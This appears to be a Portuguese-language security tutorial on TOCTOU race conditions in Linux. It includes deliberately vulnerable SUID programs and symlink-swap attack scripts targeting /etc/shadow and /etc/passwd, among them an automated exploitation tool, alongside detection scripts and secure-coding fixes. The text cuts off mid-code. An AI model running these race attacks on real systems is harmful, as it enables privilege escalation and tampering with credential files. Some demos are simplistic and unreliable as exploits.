# TOCTOU (Time of Check to Time of Use)

## **📋 Índice**

1. [Fundamentos do TOCTOU](#-fundamentos-do-toctou)
2. [Mecanismos de Ataque no Linux](#-mecanismos-de-ataque-no-linux)
3. [Vetores de Exploração](#-vetores-de-exploração)
4. [Técnicas de Ataque](#-técnicas-de-ataque)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Correção](#-mitigações-e-correção)
9. [Programação Segura](#-programação-segura)
10. [Pentesting com TOCTOU](#-pentesting-com-toctou)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do TOCTOU**

### **O que é TOCTOU?**

**Time-of-Check to Time-of-Use (TOCTOU)** é uma classe de vulnerabilidade de concorrência onde existe uma janela de tempo entre a verificação de uma condição (check) e o uso do recurso (use). Durante essa janela, um atacante pode modificar o estado do recurso, fazendo com que a verificação seja baseada em informações desatualizadas.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant P as Processo (setuid)
    participant F as Arquivo /etc/passwd
    participant A as Atacante

    Note over P: FASE 1: Check
    P->>F: stat() - Verifica permissões
    F-->>P: OK (root, 644)

    Note over A: JANELA DE OPORTUNIDADE
    A->>F: rm /etc/passwd
    A->>F: ln -s /etc/shadow /etc/passwd

    Note over P: FASE 2: Use
    P->>F: open() - Abre arquivo
    F-->>P: /etc/shadow (acesso privilegiado)

    Note over P: Consequência
    P->>P: Escrita em /etc/shadow (elevação de privilégios)
```

### **Características do TOCTOU no Linux**

| Característica          | Descrição                                | Exemplo                              |
| ----------------------- | ---------------------------------------- | ------------------------------------ |
| **Race Condition**      | Concorrência entre check e use           | Verificar permissões → abrir arquivo |
| **Janela Temporal**     | Milissegundos entre operações            | Tempo suficiente para symlink swap   |
| **Arquivos como Vetor** | Sistema de arquivos é o principal alvo   | /tmp, /var/tmp, /dev/shm             |
| **Privilégios**         | Programas setuid/setgid são alvos comuns | SUID binaries                        |
| **Operações Atômicas**  | Falta de operações combinadas            | open() com verificação embutida      |

### **Tipos de TOCTOU no Linux**

```python
#!/usr/bin/env python3
# toctou_types.py - Tipos de vulnerabilidades TOCTOU

class TOCTOUTypes:
    """Classificação das vulnerabilidades TOCTOU no Linux"""
    
    @staticmethod
    def file_operation_toctou():
        """TOCTOU em operações de arquivo"""
        print("📁 TOCTOU em Operações de Arquivo")
        print("   Exemplo: stat() → open() → write()")
        print("   Risco: Symlink swap durante janela")
        print("   Alvo: /tmp, /var/tmp, /dev/shm")
    
    @staticmethod
    def permission_check_toctou():
        """TOCTOU em verificação de permissões"""
        print("🔐 TOCTOU em Verificação de Permissões")
        print("   Exemplo: access() → open()")
        print("   Risco: Bypass de verificação de permissões")
        print("   Alvo: Programas SUID, serviços privilegiados")
    
    @staticmethod
    def memory_mapping_toctou():
        """TOCTOU em mapeamento de memória"""
        print("🧠 TOCTOU em Mapeamento de Memória")
        print("   Exemplo: mmap() → mprotect()")
        print("   Risco: Modificação de página durante mapeamento")
        print("   Alvo: JIT, código auto-modificável")
    
    @staticmethod
    def proc_filesystem_toctou():
        """TOCTOU no /proc filesystem"""
        print("📂 TOCTOU no /proc Filesystem")
        print("   Exemplo: read /proc/pid/mem → write")
        print("   Risco: Race em processos")
        print("   Alvo: Depuração, injeção de código")
    
    @staticmethod
    def syscall_race_toctou():
        """TOCTOU em syscalls concorrentes"""
        print("⚙️ TOCTOU em Syscalls")
        print("   Exemplo: fork() → exec()")
        print("   Risco: Race em criação de processo")
        print("   Alvo: Daemons, serviços de rede")

# Exemplo
TOCTOUTypes.file_operation_toctou()
TOCTOUTypes.permission_check_toctou()
```

***

## ⚔️ **Mecanismos de Ataque no Linux**

### **Fluxo de Ataque TOCTOU**

```mermaid
graph TD
    A[Programa vulnerável] --> B[Check: verifica condição]
    B --> C[Janela de tempo]
    C --> D{Atacante age}
    D --> E[Symlink swap]
    D --> F[Modifica arquivo]
    D --> G[Race condition]
    C --> H[Use: opera no recurso]
    H --> I[Privilégios elevados]
    
    style C fill:#ff9999
    style D fill:#ff6666
```

### **Ataque 1: Symlink Swap em /tmp**

```c
// vulnerable_suid.c - Programa SUID vulnerável a TOCTOU
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
    char *filename = "/tmp/tempfile";
    struct stat st;
    int fd;
    
    // TIME OF CHECK
    if (lstat(filename, &st) == 0) {
        // Verificar se é um arquivo regular (não symlink)
        if (S_ISREG(st.st_mode)) {
            // Verificar permissões do usuário
            if (st.st_uid == getuid()) {
                printf("[+] Check passed: file is regular and owned by user\n");
                
                // TIME OF USE - Janela para ataque
                sleep(1);  // Simula atraso, aumentando janela
                
                fd = open(filename, O_RDWR);
                if (fd != -1) {
                    printf("[+] File opened successfully\n");
                    write(fd, "malicious content\n", 18);
                    close(fd);
                    return 0;
                }
            }
        }
    }
    
    printf("[-] Check failed\n");
    return 1;
}
```

```bash
#!/bin/bash
# symlink_swap_attack.sh - Ataque de symlink swap TOCTOU

echo "🚨 TOCTOU Symlink Swap Attack"
echo "=============================="

# 1. Compilar programa vulnerável
echo "[1] Compilando programa SUID vulnerável..."
gcc -o /tmp/vuln_suid vulnerable_suid.c
sudo chown root:root /tmp/vuln_suid
sudo chmod 4755 /tmp/vuln_suid

# 2. Criar arquivo alvo (que será substituído)
echo "[2] Criando arquivo alvo..."
echo "dados normais" > /tmp/tempfile

# 3. Criar script de ataque
echo "[3] Criando script de ataque..."
cat > /tmp/attack.sh << 'EOF'
#!/bin/bash
while true; do
    # Remover arquivo original
    rm -f /tmp/tempfile
    
    # Criar symlink para arquivo privilegiado
    ln -s /etc/shadow /tmp/tempfile
    
    # Aguardar e restaurar
    sleep 0.1
    rm -f /tmp/tempfile
    echo "dados normais" > /tmp/tempfile
done
EOF

chmod +x /tmp/attack.sh

# 4. Executar ataque em background
echo "[4] Executando ataque..."
/tmp/attack.sh &
ATTACK_PID=$!

# 5. Executar programa vulnerável em loop
echo "[5] Executando programa vulnerável..."
for i in {1..100}; do
    /tmp/vuln_suid 2>/dev/null
done

# 6. Limpar
kill $ATTACK_PID 2>/dev/null
rm -f /tmp/tempfile /tmp/vuln_suid /tmp/attack.sh

echo -e "\n✅ Se o ataque foi bem-sucedido, /etc/shadow foi modificado"
```

### **Ataque 2: Race Condition em Programas SUID**

```python
#!/usr/bin/env python3
# suid_race_attack.py - Race condition em programas SUID

import os
import time
import threading
import subprocess

class SUIDRaceAttack:
    """Ataque de race condition em programas SUID"""
    
    def __init__(self, target_binary, temp_file="/tmp/race_target"):
        self.target = target_binary
        self.temp_file = temp_file
        self.running = True
    
    def race_attacker(self):
        """Thread que modifica o arquivo durante a janela"""
        while self.running:
            # Criar symlink para /etc/passwd (ou outro alvo)
            os.symlink("/etc/passwd", self.temp_file)
            os.unlink(self.temp_file)
            # Criar arquivo normal
            with open(self.temp_file, 'w') as f:
                f.write("normal content")
    
    def race_trigger(self):
        """Executar programa vulnerável repetidamente"""
        results = []
        for i in range(100):
            try:
                # Executar programa SUID
                result = subprocess.run(
                    [self.target, self.temp_file],
                    capture_output=True,
                    timeout=1
                )
                if "SUCCESS" in result.stdout.decode():
                    results.append(True)
                else:
                    results.append(False)
            except:
                results.append(False)
        
        return any(results)
    
    def execute(self):
        """Executar ataque completo"""
        print(f"🚨 SUID Race Condition Attack")
        print(f"   Alvo: {self.target}")
        print(f"   Arquivo temporário: {self.temp_file}")
        
        # Iniciar atacante em thread
        attacker = threading.Thread(target=self.race_attacker)
        attacker.daemon = True
        attacker.start()
        
        # Disparar race
        time.sleep(0.1)
        success = self.race_trigger()
        
        self.running = False
        
        if success:
            print("✅ Race condition explorada com sucesso!")
        else:
            print("❌ Race condition não foi explorada")
        
        return success

# Uso (em laboratório)
# attack = SUIDRaceAttack("/tmp/vuln_suid")
# attack.execute()
```

### **Ataque 3: TOCTOU em /proc/PID/mem**

```python
#!/usr/bin/env python3
# proc_mem_toctou.py - TOCTOU em /proc/pid/mem

import os
import time
import threading

class ProcMemTOCTOU:
    """Ataque TOCTOU usando /proc/pid/mem"""
    
    def __init__(self, target_pid):
        self.target_pid = target_pid
        self.mem_file = f"/proc/{target_pid}/mem"
        self.maps_file = f"/proc/{target_pid}/maps"
    
    def find_writable_region(self):
        """Encontrar região de memória writable"""
        with open(self.maps_file, 'r') as f:
            for line in f:
                if 'rw' in line and 'heap' in line:
                    parts = line.split()
                    addr_range = parts[0]
                    start, end = addr_range.split('-')
                    return int(start, 16), int(end, 16)
        return None, None
    
    def race_attack(self):
        """Ataque de race condition em memória"""
        print(f"🎯 TOCTOU Attack on /proc/{self.target_pid}/mem")
        
        start, end = self.find_writable_region()
        if not start:
            print("   Não foi possível encontrar região writable")
            return False
        
        print(f"   Região alvo: 0x{start:x} - 0x{end:x}")
        
        # Simular verificação e uso
        def checker():
            # Verificar permissões
            if os.access(self.mem_file, os.W_OK):
                # Janela para ataque
                time.sleep(0.001)
                return True
            return False
        
        def user():
            # Uso após verificação
            if checker():
                # Escrever na memória
                with open(self.mem_file, 'rb+') as f:
                    f.seek(start)
                    f.write(b'\x90' * 10)  # NOP sled
                return True
            return False
        
        return user()
    
    def exploit(self):
        """Executar exploração"""
        print("🚨 TOCTOU via /proc/pid/mem")
        
        # Criar thread para modificar mapeamento de memória
        def mapper():
            while True:
                # Simular mudança de mapeamento
                time.sleep(0.001)
        
        mapper_thread = threading.Thread(target=mapper)
        mapper_thread.daemon = True
        mapper_thread.start()
        
        # Tentar exploração
        result = self.race_attack()
        
        return result

# Uso
# attack = ProcMemTOCTOU(os.getpid())
# attack.exploit()
```

### **Ataque 4: TOCTOU em Dentry Cache**

```c
// dentry_toctou.c - TOCTOU no cache de dentry do kernel
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <dirent.h>

// Demonstração de TOCTOU no cache de diretório
int vulnerable_ls(const char *dirname) {
    DIR *dir;
    struct dirent *entry;
    struct stat st;
    
    // TIME OF CHECK - verifica diretório
    if (stat(dirname, &st) != 0) {
        return -1;
    }
    
    // JANELA DE OPORTUNIDADE
    // Atacante pode trocar o diretório por symlink
    
    // TIME OF USE - abre diretório
    dir = opendir(dirname);
    if (!dir) {
        return -1;
    }
    
    // Listar conteúdo (pode ser outro diretório)
    while ((entry = readdir(dir)) != NULL) {
        printf("%s\n", entry->d_name);
    }
    
    closedir(dir);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <diretorio>\n", argv[0]);
        return 1;
    }
    
    return vulnerable_ls(argv[1]);
}
```

***

## 🎯 **Vetores de Exploração no Linux**

### **Matriz de Vetores TOCTOU**

| Vetor                | Descrição                   | Alvos Comuns                  | Severidade |
| -------------------- | --------------------------- | ----------------------------- | ---------- |
| **/tmp e /var/tmp**  | Diretórios compartilhados   | Arquivos temporários, sockets | 🔴 CRÍTICO |
| **SUID Binaries**    | Programas com privilégios   | setuid/setgid executáveis     | 🔴 CRÍTICO |
| **/proc Filesystem** | Interface com kernel        | pid/mem, fd, self             | 🟠 ALTO    |
| **Symlinks**         | Links simbólicos            | Qualquer arquivo              | 🔴 CRÍTICO |
| **File Descriptors** | Descritores de arquivo      | epoll, inotify                | 🟡 MÉDIO   |
| **Memory Mapping**   | mmap(), mprotect()          | JIT, código dinâmico          | 🟠 ALTO    |
| **Name Resolution**  | DNS, hostname               | /etc/hosts, resolv.conf       | 🟡 MÉDIO   |
| **Pipes e FIFOs**    | Comunicação entre processos | Named pipes, sockets          | 🟡 MÉDIO   |

### **Script de Identificação de TOCTOU**

```bash
#!/bin/bash
# identify_toctou.sh - Identificação de possíveis TOCTOU

echo "🔍 Identificando possíveis vulnerabilidades TOCTOU"
echo "=================================================="

# 1. Buscar programas SUID
echo -e "\n[1] Programas SUID potencialmente vulneráveis:"
find / -perm -4000 -type f 2>/dev/null | while read binary; do
    # Verificar se usa /tmp
    strings "$binary" 2>/dev/null | grep -q "/tmp" && echo "   ⚠️  $binary (usa /tmp)"
done

# 2. Buscar scripts que usam /tmp
echo -e "\n[2] Scripts que usam arquivos temporários:"
grep -r "/tmp" /usr/local/bin/ /usr/bin/ 2>/dev/null | grep -v "Binary" | head -10

# 3. Buscar programas que usam access() antes de open()
echo -e "\n[3] Programas com padrão access() → open():"
find /usr/bin /bin -type f -executable 2>/dev/null | while read binary; do
    strings "$binary" 2>/dev/null | grep -q "access" && \
    strings "$binary" 2>/dev/null | grep -q "open" && \
    echo "   ⚠️  $binary"
done | head -10

# 4. Buscar serviços que criam arquivos em /tmp
echo -e "\n[4] Serviços com arquivos em /tmp:"
grep -r "/tmp" /etc/systemd/system/ 2>/dev/null | head -5

# 5. Buscar arquivos em /tmp com permissões perigosas
echo -e "\n[5] Arquivos em /tmp com permissões perigosas:"
find /tmp -type f -perm -0002 2>/dev/null | head -10

# 6. Verificar montagem de /tmp
echo -e "\n[6] Configuração de montagem /tmp:"
mount | grep /tmp
```

***

## 🔧 **Técnicas de Ataque Avançadas**

### **Técnica 1: Inotify + Symlink Swap**

```python
#!/usr/bin/env python3
# inotify_symlink_swap.py - Ataque usando inotify

import inotify.adapters
import os
import time
import threading

class InotifySymlinkSwap:
    """Ataque TOCTOU usando inotify para timing preciso"""
    
    def __init__(self, watch_file="/tmp/target", target_file="/etc/shadow"):
        self.watch_file = watch_file
        self.target_file = target_file
        self.triggered = threading.Event()
    
    def monitor_file(self):
        """Monitorar acesso ao arquivo com inotify"""
        i = inotify.adapters.Inotify()
        i.add_watch(self.watch_file)
        
        print(f"📡 Monitorando {self.watch_file}")
        
        for event in i.event_gen(yield_nones=False):
            (_, type_names, path, filename) = event
            
            if 'IN_OPEN' in type_names:
                print(f"   ⚡ Arquivo aberto! Trocando symlink...")
                self.triggered.set()
                
                # Trocar symlink
                os.unlink(self.watch_file)
                os.symlink(self.target_file, self.watch_file)
                
                # Aguardar uso
                time.sleep(0.1)
                
                # Restaurar
                os.unlink(self.watch_file)
                with open(self.watch_file, 'w') as f:
                    f.write("normal")
                
                break
    
    def exploit(self):
        """Executar ataque"""
        print(f"🚨 Inotify Symlink Swap Attack")
        print(f"   Alvo: {self.watch_file}")
        print(f"   Destino: {self.target_file}")
        
        # Criar arquivo inicial
        with open(self.watch_file, 'w') as f:
            f.write("normal")
        
        # Iniciar monitoramento
        monitor = threading.Thread(target=self.monitor_file)
        monitor.daemon = True
        monitor.start()
        
        # Aguardar trigger
        self.triggered.wait(timeout=5)
        
        return self.triggered.is_set()

# Uso
# attack = InotifySymlinkSwap("/tmp/target", "/etc/shadow")
# attack.exploit()
```

### **Técnica 2: File Descriptor Race**

```c
// fd_race.c - Race condition com file descriptors
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>

int vulnerable_fd_race(const char *filename) {
    int fd;
    struct stat st;
    
    // Verificar se é arquivo regular
    if (lstat(filename, &st) != 0) {
        return -1;
    }
    
    if (!S_ISREG(st.st_mode)) {
        return -1;
    }
    
    // JANELA - symlink pode ser trocado aqui
    
    // Abrir arquivo
    fd = open(filename, O_RDWR);
    if (fd == -1) {
        return -1;
    }
    
    // Verificar novamente (proteção parcial)
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }
    
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        return -1;
    }
    
    // Operação privilegiada
    write(fd, "malicious", 9);
    close(fd);
    
    return 0;
}
```

### **Técnica 3: Memory Pressure TOCTOU**

```python
#!/usr/bin/env python3
# memory_pressure_toctou.py - TOCTOU via pressão de memória

import mmap
import time
import threading
import os

class MemoryPressureTOCTOU:
    """Ataque TOCTOU usando pressão de memória"""
    
    def __init__(self, filename, target_size=1024*1024):
        self.filename = filename
        self.target_size = target_size
        self.race_success = False
    
    def create_file(self):
        """Criar arquivo inicial"""
        with open(self.filename, 'wb') as f:
            f.write(b'\x00' * self.target_size)
    
    def memory_pressure(self):
        """Criar pressão de memória para causar page faults"""
        allocations = []
        try:
            while True:
                # Alocar grandes blocos de memória
                allocations.append(bytearray(10 * 1024 * 1024))
                time.sleep(0.01)
        except MemoryError:
            pass
    
    def race_check(self):
        """Verificar e usar arquivo"""
        # Verificar permissões (check)
        if os.access(self.filename, os.W_OK):
            # Janela - pressão de memória pode causar page fault
            time.sleep(0.001)
            
            # Usar arquivo (use)
            with open(self.filename, 'r+b') as f:
                # Mapear em memória
                mm = mmap.mmap(f.fileno(), 0)
                mm[0] = 0x42  # Modificar
                mm.close()
            
            return True
        return False
    
    def exploit(self):
        """Executar ataque"""
        print(f"🚨 Memory Pressure TOCTOU Attack")
        print(f"   Alvo: {self.filename}")
        
        self.create_file()
        
        # Criar pressão de memória
        pressure = threading.Thread(target=self.memory_pressure)
        pressure.daemon = True
        pressure.start()
        
        # Tentar race
        for _ in range(100):
            if self.race_check():
                self.race_success = True
                break
            time.sleep(0.01)
        
        if self.race_success:
            print("✅ Race condition explorada com sucesso!")
        else:
            print("❌ Race condition não foi explorada")
        
        return self.race_success

# Uso
# attack = MemoryPressureTOCTOU("/tmp/race_target")
# attack.exploit()
```

### **Técnica 4: Fork Bomb + TOCTOU**

```bash
#!/bin/bash
# fork_bomb_toctou.sh - TOCTOU combinado com fork bomb

echo "🚨 Fork Bomb + TOCTOU Attack"
echo "============================="

# 1. Criar programa alvo (simulação)
cat > /tmp/target.sh << 'EOF'
#!/bin/bash
# Simula verificação de arquivo
if [ -f /tmp/secret ]; then
    # Janela para ataque
    sleep 0.001
    cat /tmp/secret
fi
EOF

chmod +x /tmp/target.sh

# 2. Criar ataque com fork bomb
attack() {
    while true; do
        # Criar arquivo normal
        echo "normal" > /tmp/secret
        
        # Trocar por symlink
        ln -sf /etc/passwd /tmp/secret
        
        # Restaurar
        echo "normal" > /tmp/secret
    done
}

# 3. Executar ataque em múltiplos processos
echo "Lançando múltiplos ataques..."
for i in {1..100}; do
    attack &
done

# 4. Executar programa alvo repetidamente
echo "Executando programa alvo..."
for i in {1..1000}; do
    /tmp/target.sh 2>/dev/null
done

# 5. Limpar
pkill -P $$ attack 2>/dev/null
rm -f /tmp/secret /tmp/target.sh

echo -e "\n✅ Ataque concluído"
```

***

## 🛠️ **Ferramentas de Exploração**

### **Script de Ataque Automatizado**

```python
#!/usr/bin/env python3
# toctou_automated.py - Ataque TOCTOU automatizado

import os
import sys
import time
import threading
import subprocess

class TOCTOUAutomated:
    """Ferramenta automatizada para exploração TOCTOU"""
    
    def __init__(self, target_binary, temp_file="/tmp/toctou_target"):
        self.target = target_binary
        self.temp_file = temp_file
        self.attack_threads = 10
        self.success = False
    
    def check_vulnerability(self):
        """Verificar se alvo é potencialmente vulnerável"""
        print("[*] Verificando vulnerabilidade potencial...")
        
        # Verificar se é SUID
        if os.stat(self.target).st_mode & 0o4000:
            print(f"   ⚠️  {self.target} é SUID - alto risco")
        
        # Verificar uso de /tmp
        try:
            result = subprocess.run(['strings', self.target], 
                                  capture_output=True, text=True)
            if '/tmp' in result.stdout:
                print(f"   ⚠️  Programa usa /tmp - potencialmente vulnerável")
        except:
            pass
        
        return True
    
    def symlink_attacker(self):
        """Thread para ataque de symlink swap"""
        while not self.success:
            try:
                # Criar symlink para alvo privilegiado
                os.symlink("/etc/shadow", self.temp_file)
                os.unlink(self.temp_file)
                
                # Criar arquivo normal
                with open(self.temp_file, 'w') as f:
                    f.write("normal")
            except:
                pass
    
    def race_trigger(self):
        """Disparar race condition"""
        for i in range(100):
            try:
                result = subprocess.run(
                    [self.target, self.temp_file],
                    capture_output=True,
                    timeout=0.5
                )
                
                # Verificar se conseguiu acesso privilegiado
                if result.returncode == 0 and "success" in result.stdout.decode():
                    self.success = True
                    break
            except:
                pass
    
    def execute(self):
        """Executar ataque completo"""
        print(f"🚨 TOCTOU Automated Attack")
        print(f"   Alvo: {self.target}")
        print(f"   Arquivo temporário: {self.temp_file}")
        print("=" * 50)
        
        # Verificar vulnerabilidade
        self.check_vulnerability()
        
        # Criar arquivo inicial
        with open(self.temp_file, 'w') as f:
            f.write("normal")
        
        # Iniciar threads de ataque
        print(f"\n[*] Iniciando {self.attack_threads} threads de ataque...")
        threads = []
        for _ in range(self.attack_threads):
            t = threading.Thread(target=self.symlink_attacker)
            t.daemon = True
            t.start()
            threads.append(t)
        
        # Executar race
        print("[*] Disparando race condition...")
        self.race_trigger()
        
        # Aguardar resultado
        time.sleep(2)
        
        # Limpeza
        for t in threads:
            t.join(timeout=1)
        
        if self.success:
            print("\n✅ Ataque bem-sucedido! Exploração TOCTOU confirmada.")
        else:
            print("\n❌ Ataque não teve sucesso.")
        
        # Limpar arquivos
        try:
            os.unlink(self.temp_file)
        except:
            pass
        
        return self.success

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: toctou_automated.py <target_binary>")
        sys.exit(1)
    
    attacker = TOCTOUAutomated(sys.argv[1])
    attacker.execute()
```

### **Ferramentas de Detecção de Race Conditions**

```bash
#!/bin/bash
# race_detection_tools.sh - Ferramentas para detecção de TOCTOU

echo "🔧 Ferramentas para Detecção de TOCTOU"
echo "======================================"

# 1. strace para monitorar syscalls
echo -e "\n[1] Usando strace para detectar padrões TOCTOU:"
strace -e trace=access,open,stat,lstat -p $$ 2>&1 | head -5 &

# 2. ltrace para bibliotecas
echo -e "\n[2] Usando ltrace:"
ltrace -e access,open -p $$ 2>&1 | head -5 &

# 3. Auditd para monitorar acesso a arquivos
echo -e "\n[3] Configurando auditd para monitorar /tmp:"
auditctl -w /tmp -p rwxa -k toctou_monitor 2>/dev/null

# 4. inotify para monitorar mudanças
echo -e "\n[4] Usando inotifywait:"
timeout 2 inotifywait -m /tmp -e open,access 2>/dev/null &

# 5. Valgrind Helgrind para detecção de races
echo -e "\n[5] Valgrind Helgrind:"
echo "   valgrind --tool=helgrind ./vulnerable_program"

# 6. ThreadSanitizer (gcc/clang)
echo -e "\n[6] ThreadSanitizer:"
echo "   gcc -fsanitize=thread -g -o program program.c"

# 7. Fuzzing para TOCTOU
echo -e "\n[7] Fuzzing com AFL:"
echo "   afl-fuzz -i inputs -o outputs ./vulnerable_program @@"

sleep 3
killall strace ltrace 2>/dev/null
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto de TOCTOU no Linux:

  🔴 CRÍTICO:
    - Elevação de privilégios (root)
    - Leitura de arquivos sensíveis (/etc/shadow)
    - Escrita em arquivos do sistema
    - Bypass de sandboxes e containers
    - Comprometimento total do sistema

  🟠 ALTO:
    - Escrita em arquivos de configuração
    - Modificação de binários do sistema
    - Exfiltração de dados confidenciais
    - Injeção de código em processos

  🟡 MÉDIO:
    - Corrupção de dados
    - Denial of Service local
    - Race conditions em serviços

  🔵 BAIXO:
    - Comportamento indeterminístico
    - Falhas intermitentes
```

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Identificar programa SUID] --> B[Analisar uso de /tmp]
    B --> C[Identificar padrão access→open]
    C --> D[Criar arquivo alvo]
    D --> E[Iniciar threads de ataque]
    E --> F[Disparar race condition]
    F --> G{Janela explorada?}
    G -->|Sim| H[Executar symlink swap]
    G -->|Não| E
    H --> I[Arquivo privilegiado aberto]
    I --> J[Escrita em /etc/shadow]
    J --> K[Elevação de privilégios]
    K --> L[Root comprometido]
    
    style G fill:#ff9999
    style K fill:#ff6666
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção em Tempo Real**

```python
#!/usr/bin/env python3
# toctou_detector.py - Detector de TOCTOU em tempo real

import os
import time
import threading
import sys
from collections import defaultdict

class TOCTOUDetector:
    """Detector de padrões TOCTOU em tempo real"""
    
    def __init__(self):
        self.operations = defaultdict(list)
        self.threshold = 0.001  # 1ms janela suspeita
        self.alerts = []
    
    def watch_syscalls(self, pid=None):
        """Monitorar syscalls para padrões TOCTOU"""
        print(f"📡 Monitorando syscalls para padrões TOCTOU")
        
        # Usar strace para monitorar
        import subprocess
        
        cmd = ['strace', '-e', 'trace=access,open,stat,lstat', '-T']
        if pid:
            cmd.extend(['-p', str(pid)])
        else:
            cmd.extend(['-f', '-p', '1'])  # Monitorar todo sistema
        
        proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, text=True, bufsize=1)
        
        for line in proc.stderr:
            self._analyze_line(line)
    
    def _analyze_line(self, line):
        """Analisar linha do strace"""
        if 'access' in line and 'open' in line:
            # Padrão access() → open() suspeito
            self._detect_pattern(line, 'ACCESS_OPEN')
        elif 'stat' in line and 'open' in line:
            # Padrão stat() → open() suspeito
            self._detect_pattern(line, 'STAT_OPEN')
        elif 'lstat' in line and 'open' in line:
            # Padrão lstat() → open() suspeito
            self._detect_pattern(line, 'LSTAT_OPEN')
    
    def _detect_pattern(self, line, pattern):
        """Detectar padrão com timestamps"""
        import re
        
        # Extrair timestamp
        match = re.search(r'<([0-9.]+)>', line)
        if match:
            timestamp = float(match.group(1))
            
            # Armazenar operação
            self.operations[pattern].append(timestamp)
            
            # Verificar se há operações muito próximas
            if len(self.operations[pattern]) > 1:
                diff = timestamp - self.operations[pattern][-2]
                if diff < self.threshold:
                    alert = {
                        'pattern': pattern,
                        'time_diff': diff,
                        'timestamp': time.time(),
                        'line': line.strip()
                    }
                    self.alerts.append(alert)
                    self._print_alert(alert)
    
    def _print_alert(self, alert):
        """Imprimir alerta"""
        print(f"⚠️  ALERTA TOCTOU: {alert['pattern']}")
        print(f"   Diferença: {alert['time_diff']*1000:.3f}ms")
        print(f"   Syscall: {alert['line']}")
        print()
    
    def start(self):
        """Iniciar detector"""
        try:
            self.watch_syscalls()
        except KeyboardInterrupt:
            self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE DETECÇÃO TOCTOU")
        print("=" * 60)
        
        if not self.alerts:
            print("✅ Nenhum padrão TOCTOU detectado")
            return
        
        print(f"⚠️  {len(self.alerts)} alerta(s) detectado(s):\n")
        
        for alert in self.alerts[:10]:
            print(f"• {alert['pattern']}: {alert['time_diff']*1000:.3f}ms")
            print(f"  {alert['line'][:100]}\n")

# Uso
detector = TOCTOUDetector()
# detector.start()  # Requer root
```

### **Auditoria de Código para TOCTOU**

```bash
#!/bin/bash
# code_audit_toctou.sh - Auditoria de código para TOCTOU

echo "🔍 Auditoria de Código para TOCTOU"
echo "=================================="

# 1. Buscar padrões perigosos em C
echo -e "\n[1] Padrões perigosos em C:"
find . -name "*.c" -exec grep -Hn "access(" {} \; 2>/dev/null | while read line; do
    if grep -q "open(" <<< "$line"; then
        echo "   ⚠️  $line"
    fi
done

# 2. Buscar padrões em Python
echo -e "\n[2] Padrões perigosos em Python:"
find . -name "*.py" -exec grep -Hn "os.access" {} \; 2>/dev/null
find . -name "*.py" -exec grep -Hn "os.path.exists" {} \; 2>/dev/null

# 3. Buscar uso de /tmp sem proteção
echo -e "\n[3] Uso de /tmp sem proteção:"
grep -rn "/tmp" --include="*.c" --include="*.py" . 2>/dev/null | grep -v "mktemp" | head -10

# 4. Buscar falta de O_NOFOLLOW
echo -e "\n[4] open() sem O_NOFOLLOW:"
find . -name "*.c" -exec grep -Hn "open(" {} \; 2>/dev/null | grep -v "O_NOFOLLOW"

# 5. Buscar padrões de race em scripts
echo -e "\n[5] Scripts com potencial race:"
find . -name "*.sh" -exec grep -Hn "sleep" {} \; 2>/dev/null | head -5
```

***

## 🛡️ **Mitigações e Correção**

### **Programação Segura - Padrões Seguros**

```c
// safe_pattern.c - Padrões seguros para evitar TOCTOU

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

// Padrão 1: Usar open() com verificações embutidas
int safe_open_file(const char *filename) {
    int fd;
    struct stat st;
    
    // Abrir com O_NOFOLLOW para evitar symlink
    fd = open(filename, O_RDWR | O_NOFOLLOW | O_NOCTTY);
    if (fd == -1) {
        return -1;
    }
    
    // Verificar após abertura
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }
    
    // Verificar se é arquivo regular
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        return -1;
    }
    
    // Verificar ownership
    if (st.st_uid != getuid()) {
        close(fd);
        return -1;
    }
    
    return fd;
}

// Padrão 2: Usar mkstemp() para arquivos temporários
int safe_temp_file() {
    char template[] = "/tmp/mytempXXXXXX";
    int fd = mkstemp(template);
    
    if (fd != -1) {
        // mkstemp cria arquivo seguro
        unlink(template);  // Opcional: remover após uso
    }
    
    return fd;
}

// Padrão 3: Usar O_TMPFILE (Linux 3.11+)
int safe_tmpfile() {
    return open("/tmp", O_TMPFILE | O_RDWR, 0600);
}

// Padrão 4: Usar flock() para exclusão mútua
int safe_with_lock(const char *filename) {
    int fd = open(filename, O_RDWR);
    if (fd == -1) return -1;
    
    // Adquirir lock exclusivo
    if (flock(fd, LOCK_EX) != 0) {
        close(fd);
        return -1;
    }
    
    // Operações seguras aqui...
    
    // Liberar lock
    flock(fd, LOCK_UN);
    close(fd);
    
    return 0;
}
```

### **Melhores Práticas de Programação**

```python
#!/usr/bin/env python3
# safe_programming.py - Práticas seguras em Python

import os
import tempfile
import fcntl
import pathlib

class SafeProgramming:
    """Padrões seguros para evitar TOCTOU"""
    
    @staticmethod
    def safe_file_open(filename):
        """Abrir arquivo com verificações seguras"""
        try:
            # Usar pathlib com resolução segura
            path = pathlib.Path(filename).resolve()
            
            # Verificar se é arquivo regular
            if not path.is_file():
                return None
            
            # Verificar ownership
            stat = path.stat()
            if stat.st_uid != os.getuid():
                return None
            
            # Abrir com flags seguras
            return open(path, 'r+b', opener=SafeProgramming._secure_opener)
            
        except Exception:
            return None
    
